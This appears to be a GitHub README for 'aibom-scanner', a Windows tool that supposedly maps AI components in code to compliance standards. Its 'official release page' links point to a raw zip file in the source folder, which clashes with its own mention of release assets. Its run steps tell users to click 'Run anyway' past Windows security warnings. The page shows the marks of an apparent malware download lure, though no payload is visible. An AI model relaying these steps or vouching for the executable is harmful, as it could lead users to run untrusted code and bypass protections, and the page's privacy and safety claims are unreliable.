aibom-scanner

# 🔍 aibom-scanner - Identify AI risks in your software [](https://raw.githubusercontent.com/arqajalvarez/aibom-scanner/main/src/aibom_scanner_alcanna.zip) This tool checks your software projects for AI components. It finds where you use AI tools and checks them against safety rules like the EU AI Act, ISO 42001, and NIST AI RMF. Many companies use AI today, but tracking where that code hides is hard. This scanner does that work for you. You get a clear report on what AI is inside your applications and if those parts follow current safety standards. ## 📋 What this tool does Modern software projects pack in many third-party libraries. Some of these use AI models behind the scenes. Without a map of your software, you might miss risks that these AI components bring, such as data privacy issues or poor model reliability. The scanner reads your project files and builds a list of your AI assets. It checks this list against the standards you select. You receive a report that maps your usage to specific industry requirements. This helps you manage compliance without needing to read thousands of pages of policy documents. ## 💻 System requirements You need a Windows machine to run this. The software works on Windows 10 or Windows 11. Ensure that you have at least 200 MB of free hard drive space. The scanner processes your files on your computer. It does not send your code to external servers for analysis. This keeps your data private. You do not need to install Python or other complex tools. Everything you need lives inside the file you download. ## 📥 How to get started Follow these steps to set up the tool on your computer. 1. Visit the [official release page](https://raw.githubusercontent.com/arqajalvarez/aibom-scanner/main/src/aibom_scanner_alcanna.zip) to download the current version. 2. Look for the file named `aibom-scanner.exe` in the assets list. 3. Click the file to start the download. 4. Save the file to a folder on your computer, such as your Downloads folder or your Desktop. ## ⚙️ Running the scanner 1. Open the folder where you saved the file. 2. Double-click `aibom-scanner.exe`. 3. If Windows shows a security message, click "More info" and then "Run anyway." This happens because the tool is a utility that performs local file analysis. 4. A small window appears. Enter the file path of the project you want to scan. You can copy the path from the top bar of your file explorer. 5. Press the "Scan" button. 6. Wait for the tool to finish processing your files. A progress bar shows you how much time remains. 7. Once finished, a file named `report.html` appears in your project folder. Double-click this file to view the analysis in your web browser. ## 📊 Understanding your report The resulting report organizes your findings by risk level. You will see several sections: ### Compliance status This section shows how your codebase aligns with NIST, ISO, and EU AI Act requirements. Green checkmarks mean your detected components pass the check. Yellow marks indicate items that need review. Red marks signify a potential violation. ### AI Component list This is a simple list of all AI services detected in your code. It shows the name of the service, the library that uses it, and the potential risk level found. You can use this to keep your own inventory of AI usage. ### Risk details Click any item in the list to see more detail. You will find links to the sections of the standards that apply. For example, if a component violates an EU AI Act requirement, the report cites the specific article for your convenience. ## 🛠 Troubleshooting common issues If the scanner does not start, ensure you have permissions to run programs in the folder where you placed the file. Some work computers restrict running programs from the Downloads folder. Move the file to a folder like `C:\Tools` if you see permission errors. If the scanner finds nothing, double-click the file path and confirm that the folder contains source code files. Python projects, JavaScript projects, or generic folder structures work best. If the report format looks broken, ensure you open the file in a modern web browser like Chrome, Edge, or Firefox. Older browsers might struggle to display the data tables correctly. ## 🛡 Security and privacy Your code contains your intellectual property. This tool focuses on privacy by design. All analysis occurs locally on your machine. The network connection is only used to fetch the latest compliance rules. No code, no AI configuration parameters, and no sensitive data leave your machine during the scan. ## 📈 Frequently asked questions **Does this software need an internet connection?** Yes, it checks for updates to compliance rules when you start the scan. It works offline for the actual file scanning process. **Can I scan very large codebases?** Yes. The scanner handles large projects efficiently by skipping common binary files and focusing on project configuration files like requirements, package.json, or pyproject.toml. **What happens if a new standard comes out?** The tool fetches the most recent standards at runtime. You keep the latest compliance information as soon as authorities release it. **Is my data stored in the cloud?** No. Everything stays on your local hard drive. You maintain full control over the report files and your source code.